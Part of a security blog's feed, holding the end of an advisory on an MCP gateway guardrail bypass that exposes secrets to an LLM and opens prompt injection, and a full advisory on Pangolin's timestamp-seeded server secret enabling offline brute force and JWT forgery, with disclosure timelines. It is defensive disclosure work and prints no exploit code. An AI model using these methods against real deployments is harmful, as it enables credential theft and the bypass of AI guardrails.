&lt;p&gt;Please be aware that this is an estimate designed to aid in initial analysis, pending confirmation from the CNA (in this case, MITRE).&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Product&lt;/th&gt;&lt;th&gt;MCP-Gateway&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Lasso&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Versions&lt;/td&gt;&lt;td&gt;initial-current (1.2.0)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;CVE Status&lt;/td&gt;&lt;td&gt;Reserved&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;CVSS Estimate&lt;/td&gt;&lt;td&gt;7.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;CVSS Vector&lt;/td&gt;&lt;td&gt;AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;CVSS Estimate Rationale&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vector Component&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;Justification&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Attack Vector&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Network&lt;/td&gt;&lt;td&gt;The gateway is a networked MCP service&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Attack Complexity&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;High complexity&lt;/td&gt;&lt;td&gt;Requires a malicious/buggy plugin to be loaded alongside a guardrail plugin, that’s not a trivial precondition.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Privileges Required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;td&gt;This is post-auth, however a low privilege requirement, since a malicious MCP gateway doesn’t require administrative access to take advantage of unhandled exceptions (see PoC above)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;User Interaction&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Required&lt;/td&gt;&lt;td&gt;This is debatable, no user interaction required once a failing plugin is installed, however social engineering would be required in the case of a deliberately planted malicious plugin&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Changed scope&lt;/td&gt;&lt;td&gt;The vulnerability crosses from the plugin/gateway context into the LLM and potentially the broader agent system&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Confidentiality impact&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;High confidentiality impact&lt;/td&gt;&lt;td&gt;Secrets/tokens that should be masked are disclosed, plus prompt injection could exfiltrate further data&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Integrity impact&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Low integrity impact&lt;/td&gt;&lt;td&gt;Indirect prompt injection can influence LLM behaviour but doesn’t directly modify data&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Availability impact&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No availability impact&lt;/td&gt;&lt;td&gt;Indirect prompt injection can influence LLM behaviour but doesn’t directly modify data&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;appendix-timeline&quot;&gt;Appendix: Timeline&lt;/h2&gt;
&lt;p&gt;Given that Lasso is a security product company I was expecting something resembling a vulnerability management process. This was not the case. I was at least hoping to see &lt;em&gt;some&lt;/em&gt; acknowledgement from Lasso Security at some point in this process, but there has been none. They do not use GitHub Security Advisory Features, there is no security.txt on their website. Their support portal responded with an auto-responder, but I have not heard from a human yet.&lt;/p&gt;
&lt;p&gt;What’s particularly alarming is that this is a company that was awarded a Bronze Globee Award for Cybersecurity this year. They have a social media presence on X, and they regularly market their platform there, but continual pleas to engage and work together on a fix for a new tool they announced only last year, have been ignored. It is for this reason I have elected to go to full disclosure early: the company doesn’t appear interested in addressing this issue, therefore leaving users at risk of this issue.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date (2026)&lt;/th&gt;&lt;th&gt;Action&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;March 19&lt;/td&gt;&lt;td&gt;Partial disclosure via GH Issue. Given this project had no GHSA policy setup I decided that partial disclosure via Github Issue was appropriate in this case, its a relatively low traffic open source repo, on the chance that a maintainer would see it. I kept the detail brief, so that anyone using this product in the future would have a chance at awareness, without handing a working poc to everyone.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;March 19&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://github.com/lasso-security/mcp-gateway/issues/16&quot;&gt;Created issue&lt;/a&gt; briefly describing the bypass. Raised in Github, CVE Requested via MITRE Catchall CNA&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;March 23&lt;/td&gt;&lt;td&gt;Lasso Security is awarded a Bronze Globee Award in the Cybersecurity category&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;March 28&lt;/td&gt;&lt;td&gt;MITRE CVE Reservation confirmed&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 3&lt;/td&gt;&lt;td&gt;PoC refined, issue updated, still no response from Lasso via GitHub&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 3 4:54 AM&lt;/td&gt;&lt;td&gt;Went looking for their website. Found a contact use page, I guessed that they might respond to support@ email&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 3 4:55 AM&lt;/td&gt;&lt;td&gt;Support bot response with ticket #&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 3 5:40 AM&lt;/td&gt;&lt;td&gt;Requested update to CVE description&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 3 5:45 AM&lt;/td&gt;&lt;td&gt;Mitre bot response&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 8&lt;/td&gt;&lt;td&gt;Messaged via x.com, no response&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 11&lt;/td&gt;&lt;td&gt;Follow up email, no response&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 14&lt;/td&gt;&lt;td&gt;Public post on x.com requesting Lasso respond&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;April 26&lt;/td&gt;&lt;td&gt;Published full writeup&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Pangolin v1.3.2-1.15.1: Weak Secrets leading to JWT forgery.</title>
        <published>2026-04-25T00:00:00+00:00</published>
        <updated>2026-04-25T00:00:00+00:00</updated>
        
        <author>
          <name>akses</name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/"/>
        <id>https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/</id>
        
        <content type="html" xml:base="https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/">&lt;h2 id=&quot;what-is-pangolin&quot;&gt;What is Pangolin?&lt;/h2&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https://pangolin.net&quot;&gt;Pangolin&lt;/a&gt; is a ‘Zero Trust Access Platform’ that promises an “open-source, identity-based remote access platform built on Wireguard”. It’s a compelling pitch that puts them in a similar market category as other zero-trust networking management providers like Tailscale and Zscaler.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/pangolin.net.png&quot; alt=&quot;pangolin’s product page&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Obviously a project like this attracts everyone’s attention from a security perspective. So naturally, when I was reviewing their code and saw some worrying anti-patterns with regard to application security, I got in touch with the maintainers privately.&lt;/p&gt;
&lt;h2 id=&quot;overview-of-the-vulnerability-and-exploitation&quot;&gt;Overview of the vulnerability and exploitation&lt;/h2&gt;
&lt;p&gt;Self-hosted Pangolin server version &lt;code&gt;1.3.2&lt;/code&gt; through to &lt;code&gt;1.15.1&lt;/code&gt; is vulnerable to a critical cryptographic weakness that is exploitable post-authentication by low-privileged users.&lt;/p&gt;
&lt;p&gt;The primary issue is the use of a weak, time-based pseudo-random number generator (PRNG) to create the server’s master secret key
&lt;code&gt;server.secret&lt;/code&gt; during installation using the supplied installer binary.&lt;/p&gt;
&lt;p&gt;This fundamental flaw allows any &lt;em&gt;authenticated user&lt;/em&gt; with knowledge of the server’s approximate installation time to brute-force and recover the master secret offline. Depending on the resolution of this time knowledge, the search space for key brute forcing can be narrowed into the region of minutes to days, as opposed to years.&lt;/p&gt;
&lt;p&gt;Examples of impact are expanded on later, but in short they include the possibility of forging &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/blob/main/cli/commands/rotateServerSecret.ts&quot;&gt;anything this secret is responsible for&lt;/a&gt;, including: JWTs, license keys, and other client secrets.&lt;/p&gt;
&lt;h3 id=&quot;let-me-be-clear-about-what-this-is-and-is-not&quot;&gt;Let me be clear about what this is and is not&lt;/h3&gt;
&lt;p&gt;This is not an RCE and, strictly speaking, probably is not even classifiable as a privilege escalation. It is not unauthenticated either. Pangolin servers that are exposed to the internet aren’t necessarily vulnerable to this attack. &lt;strong&gt;I think malicious actors/insiders embedded for long periods of time in large organizations are the threat model to be concerned with for something like this&lt;/strong&gt;, as opposed to small businesses where everyone is an admin anyway (they probably shouldn’t be, but that’s a different story).&lt;/p&gt;
&lt;p&gt;Given limited time to explore the full extent of exploitation opportunities, I stopped at forging JWTs. While not immediately useful in and of itself, this represents an opportunity for an attacker to attack the IDP infrastructure, or perform other shenanigans.&lt;/p&gt;
&lt;p&gt;While a compromised &lt;code&gt;server.secret&lt;/code&gt; has severe security implications, readers should understand that a lot has to go ‘right’ for an attack to be successful here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pangolin Server creation time is necessary, and still only approximates the brute-force search space. Even a 5-minute guess can take commodity hardware a day to crack the secret. However, that is based on my [probably terrible] multi-CPU-core implementation in Rust. There are probably ways to do this with a GPU that would be orders of magnitude faster.&lt;/li&gt;
&lt;li&gt;The server secret has an important but limited role on a Pangolin setup. I didn’t fully explore license key forgery because I was more concerned with where a JWT gets us. My research indicated that it would open possibilities to attack JWT processing and downstream infrastructure, (as opposed to phishing / session takeover). I can show that it is possible to overwrite any value in JWTs, and then sign them basically.&lt;/li&gt;
&lt;li&gt;The default installation process, as documented on Pangolin’s website at the time, must have been used to set up the server. Users who did not use the install binary are likely unaffected. This does limit the impact to users who followed the documentation, although it could be argued this would be the majority of users.&lt;/li&gt;
&lt;li&gt;This is not an unauthenticated attack. My testing indicated that only authenticated users to the dashboard (albeit low-privileged ones) were issued with a secret that could be cracked offline. As it stands, my belief is you would need a high level of privilege in an environment already. This is why my assessment of the threat model above is as it is: focused on large enterprise environments mostly concerned with insider threat and lateral movement potential.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It’s possible that the above led to the reasoning behind Pangolins level of response, perhaps the threat model from their point of view was not concerning enough to warrant coordinating disclosure.&lt;/p&gt;
&lt;h3 id=&quot;pangolin-s-response&quot;&gt;Pangolin’s response&lt;/h3&gt;
&lt;h4 id=&quot;what-went-well&quot;&gt;What went well&lt;/h4&gt;
&lt;p&gt;The Pangolin team should be commended for patching this reasonably quickly upon acknowledging receipt of the security report.&lt;/p&gt;
&lt;h4 id=&quot;what-didn-t-go-well&quot;&gt;What didn’t go well&lt;/h4&gt;
&lt;p&gt;However, after this initial fix, they were non-responsive on requests, including those to disclose this to the customers via MITRE.&lt;/p&gt;
&lt;p&gt;There was also no response to subsequent issues found in that changeset. For example, no response when I reached out to them and informed them that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There is NO automatic migration that regenerates weak secrets from vulnerable installations. Users who installed versions 1.3.2 through 1.15.1 still have their weak, time-based secrets in their config files.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The above quote means that even if you do upgrade, you must still manually rotate this secret to address any concerns of compromise. I.e., their fix only works for brand-new users.&lt;/p&gt;
&lt;p&gt;In terms of the example of their customer communications regarding this, as far as I could tell, this is the &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/releases/tag/1.15.2&quot;&gt;full release notice&lt;/a&gt; for &lt;code&gt;1.15.2&lt;/code&gt; and no further announcements were made. Readers may note there is nothing obvious in here indicating that they should update to this version to address their server issues.&lt;/p&gt;
&lt;p&gt;Full Changelog: &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/compare/1.15.1...1.15.2&quot;&gt;1.15.1…1.15.2&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;a-mitre-ghsa-disclosure-gotcha&quot;&gt;A MITRE/GHSA disclosure gotcha&lt;/h4&gt;
&lt;p&gt;One disclosure-process wrinkle worth flagging for other indie researchers: MITRE rejected my CVE assignment request on the grounds that Pangolin “uses GHSA”. Pangolin does have GitHub’s Security tab enabled, but they do not actually use it as a CNA. They use it only to direct researchers toward private email contact, and explicitly forbid public security issues. MITRE appears to interpret a populated security tab as evidence of GHSA/CNA delegation, which in this case meant the CVE request was bounced even though no CNA was actually responsible for assignment. An appeal has been lodged but as of writing has not been answered.&lt;/p&gt;
&lt;p&gt;I have published my full communications timeline at the end of this article.&lt;/p&gt;
&lt;h2 id=&quot;where-things-went-wrong&quot;&gt;Where things went wrong&lt;/h2&gt;
&lt;p&gt;For the uninitiated, developers of secure applications should be hyper aware of using &lt;em&gt;cryptographically secure randomness&lt;/em&gt; when generating secrets.&lt;/p&gt;
&lt;p&gt;To be completely fair, the intent in the Pangolin code was to &lt;em&gt;not&lt;/em&gt; be an exception to this.&lt;/p&gt;
&lt;p&gt;However, there was a single edge case where this was not the case, and it was catastrophic for the security of the cryptography governing JWT and OIDC interactions.&lt;/p&gt;
&lt;p&gt;Their website installation procedure encourages the admin to use this approach:
&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/pangolin-installation.png&quot; alt=&quot;the quick start guide for pangolin installation shows some red flags&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I won’t get into why this is considered a bad practice, there is plenty of discussion about that &lt;a rel=&quot;external&quot; href=&quot;https://sasha.vincic.org/blog/2024/09/piping-curl-to-bash-convenient-but-risky&quot;&gt;elsewhere&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This script, as its name suggests, downloads a prebuilt Go binary from GitHub. This is the Pangolin installer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/installer-logic.png&quot; alt=&quot;the installer just downloads a binary&quot; /&gt;
&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/go-binary-download.png&quot; alt=&quot;the binaries are hashed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Predictably this binary then needs sudo privileges in order to complete its task.&lt;/p&gt;
&lt;p&gt;Because this is an atypical delivery approach, this all felt very opaque to me so I decided to inspect the installer’s code on Github before using it.&lt;/p&gt;
&lt;h2 id=&quot;time-based-secrets-considered-harmful&quot;&gt;Time based secrets considered harmful&lt;/h2&gt;
&lt;p&gt;One of the jobs that the installer is tasked with is generating the root &lt;code&gt;server.secret&lt;/code&gt;. This secret is then used in the creation of other secrets. It’s a little bit like the seed of a minecraft server, only it’s alphanumeric. It should also be cryptographically random, i.e. safe from being easily guessed.&lt;/p&gt;
&lt;p&gt;For reasons that aren’t entirely clear to me the setup process stores an initial secret in a config file. This initial secret is created using the following insecure code. Remember this, it will be important soon.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/insecure-generation.png&quot; alt=&quot;Time based secrets aren’t secure folks&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, this is done with an insecure seed (a Unix style nanosecond datetime stamp).&lt;/p&gt;
&lt;p&gt;To make matters worse, that particular flavor of &lt;code&gt;rand&lt;/code&gt; comes from the &lt;code&gt;math&lt;/code&gt; library, and is not considered safe for cryptographic purposes. That’s because it is deterministic given the same seed and in our case the seed is hidden in a finite set of guessable numbers.&lt;/p&gt;
&lt;p&gt;Now to where this bites us. Later, once the config file is finalized, the database migrations kick in and attempt to overwrite this secret. I suspect due to a &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/issues/640&quot;&gt;previously reported issue&lt;/a&gt;, one of the database migrations is tasked with overwriting this initial secret with a much better one - can you spot the flaw here though?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/the-root-cause.png&quot; alt=&quot;A poorly designed conditional statement was all it took&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Problem is that thanks to prior activity from the installer binary, it isn’t empty at all, so it never gets overwritten. A poorly designed conditional statement was all it took to bring this all undone.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This now means the application is running with a weak ‘root’ secret.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;So this is why this vulnerability only exists when you use the installer (or you populated this file yourself and expected migrations to do something extra for you)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Under better circumstances you would expect a seed to be unguessable. This is why some places go to great lengths to &lt;a rel=&quot;external&quot; href=&quot;https://blog.cloudflare.com/chaos-in-cloudflare-lisbon-office-securing-the-internet-with-wave-motion/&quot;&gt;generate high quality randomness&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/cf-rng.png&quot; alt=&quot;Cloudflare’s latest random number generator. Source: https://blog.cloudflare.com&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you are a go developer and this is news to you then go have a look at &lt;a rel=&quot;external&quot; href=&quot;https://pkg.go.dev/math/rand&quot;&gt;this&lt;/a&gt;. TL;DR you actually want &lt;code&gt;crypto/rand&lt;/code&gt; instead, for reasons that will become painfully obvious soon.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;
&lt;p&gt;If we can find some cipher text that gets built from this secret, then conceivably we can use the time that the installer ran, against it.&lt;/p&gt;
&lt;p&gt;That is to say, “time installer ran” + “generated secret” = &lt;em&gt;we can brute force the server secret.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The secret is critical in two areas of the codebase:&lt;/p&gt;
&lt;h3 id=&quot;oidc-state-forgery-tested&quot;&gt;OIDC State Forgery (tested)&lt;/h3&gt;
&lt;p&gt;The secret is used to sign JSON Web Tokens (JWTs) that manage the OIDC login state. An attacker can forge these tokens to probe the upstream OIDC Identity Provider for weaknesses or potentially interfere with other users’ login flows. This was tested and confirmed against the latest compatible version of keycloak at the time, but only to the extent that it could be shown that JWT forgery was possible, because further testing would then essentially be against keycloak itself. It was possible to forge a fake JWT that was correctly signed that could redirect a user to an attacker controlled URL.&lt;/p&gt;
&lt;h3 id=&quot;sensitive-data-encryption-and-decryption&quot;&gt;Sensitive Data Encryption and Decryption&lt;/h3&gt;
&lt;p&gt;The secret is used to sign or encrypt license keys, OIDC client secrets, session transfer tokens, and other sensitive configuration data. An attacker who obtains a database backup (e.g., through other means) can decrypt this data, or change it and encrypt it correctly.&lt;/p&gt;
&lt;h3 id=&quot;exploiting-the-weakness-in-practice&quot;&gt;Exploiting the weakness in practice&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A cookie stores a JWT signed with the weak secret. By iterating candidate installer timestamps within a guessed window, deriving the resulting secret from each, and testing whether it validates the JWT signature, an attacker recovers the secret offline.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code&gt;p_oidc_state&lt;/code&gt; cookie is left behind by the login process for any user, not just administrators. From here, all I had to do was create a program that ‘borrowed’ the same code that the application itself uses to make sure I generated the secret using exactly the same alphabet and cryptographic algorithms.&lt;/p&gt;
&lt;p&gt;With this secret in hand, an attacker can now forge JWT based OIDC token to then attack any integrated identity services that pangolin is connected to.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Obtaining this server creation time is not really what this blog post is about however a combination of inside knowledge or even some OSINT like certificate creation times could conceivably be used to reduce the brute force problem space dramatically.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I estimate that with a 5-minute time window on 32 CPU cores, my PC and proof of concept can crack it in roughly 24 hours via CPU brute force. A guess around 1 hour would take approximately 12 days on my hardware. A server with more CPUs, or a GPU-based PoC would reduce that dramatically.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;
&lt;p&gt;In light of the above, it is the opinion of this author that users of the self-hosted pangolin service who used the default installer process from version &lt;code&gt;1.3.2 to 1.15.1&lt;/code&gt; inclusive, should not only update to the latest version if possible, but also rotate their server secrets as soon as practicable. Pangolin has a key rotation command, however I do not know if this works, or what impact it would have in your environment, so please proceed with caution:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;pangolin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; rotate-server-secret&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-old-secret&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;lt;current-weak-secret&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-new-secret&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;lt;new-strong-secret&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;why-assuming-nobody-knows-when-your-server-was-created-is-not-enough-protection&quot;&gt;Why assuming nobody knows when your server was created is not ‘enough protection’&lt;/h3&gt;
&lt;p&gt;This is a valid argument to an extent in very low risk threat models. If it’s just your DVD collection that you are protecting maybe this is OK. However if you are using a ZTN service like Pangolin to protect company/customer/otherwise important data, if you are a potential target for cybercriminal or state sponsored surveillance, these risks may not be acceptable.&lt;/p&gt;
&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;First, remember that this is a post-auth issue - we need something from any logged in user that was incorrectly generated via this seed.&lt;/p&gt;
&lt;p&gt;Exploiting this is a non-trivial exercise to do efficiently for a number of reasons, and is highly dependent on the attacker’s hardware. I chose to do this on a reasonably high spec’d developer workstation (32 Cores, 64GB DDR5 RAM). Using a systems programming language like C, C++ or Rust produces good enough results. Multithreading was required to get the processing times down.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/GdsVuwwVppo&quot;  frameborder=&quot;50&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;responsible-disclosure-timeline&quot;&gt;Responsible Disclosure Timeline&lt;/h2&gt;
&lt;p&gt;For transparency here is the timeline of disclosure related events.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date (2026)&lt;/th&gt;&lt;th&gt;Action&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Jan 24&lt;/td&gt;&lt;td&gt;Initial outreach via Discord to find comms channel&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Pangolin confirms email as preferred channel&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Full security report sent to security@pangolin.net&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jan 27&lt;/td&gt;&lt;td&gt;Pangolin acknowledges report, commits to reviewing and updating installer&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jan 28&lt;/td&gt;&lt;td&gt;Acknowledgement of response, offered assistance in re-testing&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jan 30&lt;/td&gt;&lt;td&gt;Follow up, I ask about CVE assignment&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 2&lt;/td&gt;&lt;td&gt;Pangolin asked for more time for patching&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 6&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/commit/5ad564d21bc13de7030adc3f33d248d4d18aaf54&quot;&gt;1.15.2 released fixing secret generation&lt;/a&gt;, I acknowledge and mention CVE assignment again.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 12&lt;/td&gt;&lt;td&gt;Follow up with no response.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 12&lt;/td&gt;&lt;td&gt;I request a CVE ID from MITRE &lt;code&gt;status: requested, pending assignment&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 6&lt;/td&gt;&lt;td&gt;Informed Pangolin of CVE reservation request and intent to write blog post/article. Offered to give them a preview with the mind to coordinate disclosure: no response&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 7&lt;/td&gt;&lt;td&gt;Informed pangolin team of key rotation issue/advice: no response&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 28&lt;/td&gt;&lt;td&gt;MITRE rejects CVE assignment, citing GHSA (see “A MITRE/GHSA disclosure gotcha” above)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 29&lt;/td&gt;&lt;td&gt;Appeal lodged to MITRE, no response to date&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Apr 25&lt;/td&gt;&lt;td&gt;Decision: full public disclosure on the grounds that the vendor ceased contact and MITRE rejected CVE assignment. Every effort was made to follow the de-facto standard responsible disclosure process.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Apr 25&lt;/td&gt;&lt;td&gt;Date of this report &amp;amp; notification to MITRE of publication&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
</content>
        
    </entry>
</feed>
